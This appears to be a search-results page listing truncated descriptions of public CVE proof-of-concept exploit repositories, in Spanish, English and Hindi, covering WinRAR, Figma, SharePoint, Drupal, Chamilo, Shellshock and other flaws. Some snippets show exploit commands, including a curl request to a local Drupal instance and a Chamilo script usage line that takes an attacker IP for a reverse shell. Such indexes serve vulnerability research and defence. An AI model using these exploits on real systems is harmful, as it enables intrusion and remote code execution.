627746 matches found
CVE-2025-8088
CVE-2025-8088 PoC – Exploit Oculto Resumen Este repositorio contiene una Prueba de Concepto PoC para CVE-2025-8088, una vulnerabilidad de cruce de rutas en WinRAR versiones ≤ 7.12, descubierta por ESET en julio de 2025. Esta vulnerabilidad permite a los atacantes extraer archivos maliciosos a...
CVE-2025-56803
CVE-2025-56803 Vulnerabilidad de inyección de comandos del sistema operativo mediante la ejecución de plugins en la aplicación de escritorio de Figma 1. Resumen Aplicación : Figma Desktop Application Versión : 125.6.5 Proveedor : Figma, Inc. CWE : CWE-78: Neutralización incorrecta de elementos...
CVE-2024-23743
CVE-2024-23743 CVE-2024-23743 An issue in Notion for MacOS v.3.1.0 allows a remote, attacker to execute arbitrary code via the RunAsNode and enableNodeClilnspectArguments components There is a tool designed to automate the process of searching for vulnerabilities in electron:...
CVE-2024-48990
CVE-2024-48990 के लिए PoC CVE-2024-48990 एक स्थानीय विशेषाधिकार वृद्धि कमजोरी है जो needrestart उपयोगिता में पाई गई है। यह कमजोरी संस्करण 3.8 से पहले के संस्करणों में मौजूद है। यह सेवा, जो पैकेज इंस्टॉलेशन जैसी घटनाओं के दौरान रूट के रूप में चलती है, सभी चल रही प्रक्रियाओं को असुरक्षित रूप से स्क...
CVE-2022-1329-WordPress-Elementor-RCE
CVE-2022-1329-WordPress-Elementor-RCE Este PoC está basado en el de AkuCyberSec. 中文版本 Uso Usa docker-compose para iniciar el entorno vulnerable: root@kitploit: docker-compose up -d Luego puedes acceder a la página de administración de WordPress con la URL http://localhost:8000. Registra el usuari...
CVE-2021-26121
Vulnerabilidad de Ejecución Remota de Código por Inyección de Plantillas del Lado del Servidor en CS-Cart templates.manage Descubierto por: Steven Seeley de 360 Vulcan Team Versión: = 4.12.x última Fecha: 2021-01-08 12:49 CVE: CVE-2021-26121 Cronología de Divulgación 2021-01-26 – Enviado al equip...
CVE-2019-6340
CVE-2019-6340 Solo con fines educativos Ejecutar root@kitploit: $ docker run --rm -p 8080:80 knqyf263/cve-2019-6340 Explotación GET root@kitploit: $ curl -XGET -H "Content-Type: application/hal+json" "http://localhost:8080/node/1?format=haljson" -d ' "link": "value": "link", "options":...
CVE-2023-3009
CVE-2023-3009 XSS almacenado en el nombre del elemento - Bypass de CVE-2023-2516 en TeamPass 3.0.9 - por M Nadeem Qazi Description Este repositorio aborda la vulnerabilidad de XSS almacenado descubierta en la aplicación nilsteampassnet/teampass, a la que se le asignó el identificador CVE-2023-251...
Tough-Cookie-v2.5.0-Patched
Tough-Cookie v2.5.0 Parcheado - Corrección de Contaminación de Prototipos Resumen Este repositorio contiene una versión parcheada del paquete tough-cookie, versión 2.5.0, para abordar la vulnerabilidad crítica de Contaminación de Prototipos CVE-2023-26136. La vulnerabilidad permite a atacantes...
cachet_2.4.0-dev
CVE-2021-39174 Cachet 2.4.0-dev A python3 script for CVE-2021-39174 Cachet 2.4.0-dev Information Disclosure and RCE via Twig Server Side Template Injection. For the RCE the API KEY for the user is needed. Check out the Leave Songs link below which covers how to get the API KEY via SQL Injection...
CVE-2014-6271
CVE-2014-6271 Description This project allows reproducing the vulnerability CVE-2014-6271 , also known as Shellshock. Shellshock is a security vulnerability in Bash that allows executing malicious code via environment variables. The purpose of this project is to demonstrate the impact of this...
CVE-2025-53770-Scanner
Escáner CVE-2025-53770 por DanSec Una herramienta de reconocimiento simple y eficaz para identificar una posible exposición a la crítica vulnerabilidad de SharePoint CVE-2025-53770. !Warning Esta herramienta está destinada únicamente a fines de prueba autorizados. El autor DanSec no asume ninguna...
CVE-2019-5624
CVE-2019-5624 Una prueba de concepto para la vulnerabilidad CVE-2019-5624 de Metasploit manejo inseguro de ZIP en Rubyzip que deriva en ejecución remota de código, RCE Introducción En febrero de 2019 encontré una nueva vulnerabilidad en la librería Rubyzip. Permite a un atacante explotar el manej...
CVE-2022-34718-PoC
CVE-2022-34718 IPv6 Remote Code Execution exploit sample This repository contains an exploit of CVE-2022-34718, a Remote Code Execution RCE vulnerability in IPv6 on Windows systems. How to Since the vulnerability requires specially crafted IPv6 packets, it depends on the Scapy module and therefor...
CVE-2025-27636-Practical-Lab
🛡️ CVE-2025-27636 — Laboratorio Práctico de Explotación para Apache Camel 🔍 Resumen CVE-2025-27636 es una vulnerabilidad crítica de Ejecución Remota de Código RCE en Apache Camel , específicamente en el componente camel-exec. Surge de un problema sutil pero peligroso: DefaultHeaderFilterStrategy...
CVE-2025-53770-SharePoint-Deserialization-RCE-PoC
CVE-2025-53770-SharePoint-Deserialization-RCE-PoC A critical vulnerability in Microsoft SharePoint Server allows unauthenticated remote code execution via deserialization of untrusted data. Microsoft is aware of active exploitation; apply CVE mitigations immediately. Severity: Critical. commands...
struts-rce
:source-highlighter: pygments = Explotación de Apache Struts CVE-2017-5638 Esta aplicación web simple está construida con Apache Struts 2.5.10 vulnerable CVE-2017-5638. Es vulnerable a RCE. == Iniciando la aplicación web Para iniciar la aplicación web vulnerable, ejecute: mvn jetty:run La...
CVE-2023-4220
Chamilo CVE-2023-4220 Exploit La vulnerabilidad CVE-2023-4220 es una vulnerabilidad de subidad de archivos que afecta a las versiones = 1.11.24 de Chamilo. Esta vulnerabilidad permite al atacante obtener ejecución remota de comandos mediante la subida de una webshell en la ruta...
CVE-2023-4220
CVE-2023-4220 Exploit Chamilo LMS Unauthenticated Big Upload File Remote Code Execution Usage cve-2023-4220.sh ./cve-2023-4220.sh ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 root@kitploit: ./cve-2023-4220.sh -h Usage for RevShell: ./cve-2023-4220.sh Example: ./cve-2023-4220.sh lms.test.ht...